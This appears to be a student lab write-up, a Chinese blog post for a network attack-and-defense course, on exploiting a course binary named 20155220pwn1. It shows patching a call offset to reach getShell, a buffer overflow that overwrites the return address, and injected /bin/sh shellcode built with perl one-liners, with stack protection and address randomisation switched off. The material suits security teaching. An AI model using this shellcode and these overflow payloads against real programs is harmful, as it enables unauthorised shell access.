zoukankan      html  css  js  c++  java
  • 20155220 吴思其 《网络攻防》 Exp1 PC平台逆向破解(5)M

    20155220 《网络攻防》 Exp1 PC平台逆向破解(5)M

    实践内容

    • 通过对实践对象——20155220pwn1的linux可执行文件的修改或输入,完成以下三块:
    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode
    • 三块内容也实际包含了现实情况下bof攻击的三种方法:
    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码

    实践所涉及指令

    • 汇编中的指令: - -
      • call:使程序跳转到某个地址并开始执行,被调用的过程位于当前代码段内。它的机器指令是一个16位的有符号数,也就是说被调用的过程的首地址必须位于距离当前call指令-32768~+32767字节的地方。在指令执行的时候,处理器先把IP的值压栈,然后根据操作数调整IP的值(IP=IP+操作数+3),这直接导致处理器的执行流转移到目标位置处。
      • ret:近返回指令。执行的时候,处理器从栈中弹出一个字到IP中。
      • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
      • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
      • JE:条件转移指令,如果相等则跳转。(机器码:74)
      • JMP:无条件转移指令。段内直接短转Jmp
      • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果 - cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果
    • gdb中的指令: -
      • attach:直接在gdb中把一个正在运行的进程连接到gdb中,以便于进行动态调试;
      • disassemble:命令用于反汇编,它可被用来查看当前执行时的源代码的机器码,其实际上只是把目前内存中的指令dump出来。

    实践一:直接修改程序机器指令,改变程序执行流程

    • Step1:通过objdump -d 20155220pwn1对文件进行反汇编,并获得需要的三个信息,如下图:

    • Step2:计算出需要修改的地方,计算方法:首先,须知,这是小端显示的虚拟机,其次存储在可执行文件中的地址都是相对地址,所以根据绝对地址0x80484910x804847d可以计算出两个函数foogetShell相对地址差值为0x14,由于getShell函数在比foo函数低地址部分,所以使用foo的相对地址(0xffffffd7)减去0x14得到0xffffffc3

    • Step3:根据第二步所得,使用vim修改20155220pwn1文件。

    • Step4:运行修改后的程序:

    实践二:通过构造输入参数,造成BOF攻击,改变程序执行流

    • Step1:通过测试输入,判断那几个字节覆盖到后面的指令

    • Step2:构造字符串:因为键盘无法输入16进制数,所以使用prel方法,将getShell的内存地址写入输入字符串中,

    实践三:注入Shellcode并执行

    • 先使用execstack设置20155220pwn1文件为设置堆栈可执行,然后关闭地址随机化;按照下图敲入指令:

    • 构造要注入的payload:

    • 构造一个字符串:perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode;然后在命令行中输入(cat input_shellcode;cat) | ./20155220pwn1

    • 打开另一终端进行gdb调试:

    • 我们首先输入attach 6866(进程号)来设置断点,首先输入disas foo,查看foo的栈地址,然后选择设置断点,break *080484ae,然后c(continue)

    • 然后输入info r ,查看栈的地址,然后输入x/32x 0xffffd2dc(esp)

    • 修改输入字符串:perl -e 'print "A" x 32;print "xb0xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

    • 运行(cat input_shellcode;cat)|./20155220pwn1,如上图;

  • 相关阅读:
    iOS 与 惯性滚动
    前端性能优化--为什么DOM操作慢?
    React虚拟DOM浅析
    DOM性能瓶颈与Javascript性能优化
    React 组件性能优化
    重绘与回流——影响浏览器加载速度
    移动前端开发之viewport的深入理解
    [转] 前后端分离开发模式的 mock 平台预研
    [Unity3D]Unity3D游戏开发之Lua与游戏的不解之缘终结篇:UniLua热更新全然解读
    关联规则( Association Rules)之频繁模式树(FP-Tree)
  • 原文地址:https://www.cnblogs.com/20155220wsq/p/8595873.html
Copyright © 2011-2022 走看看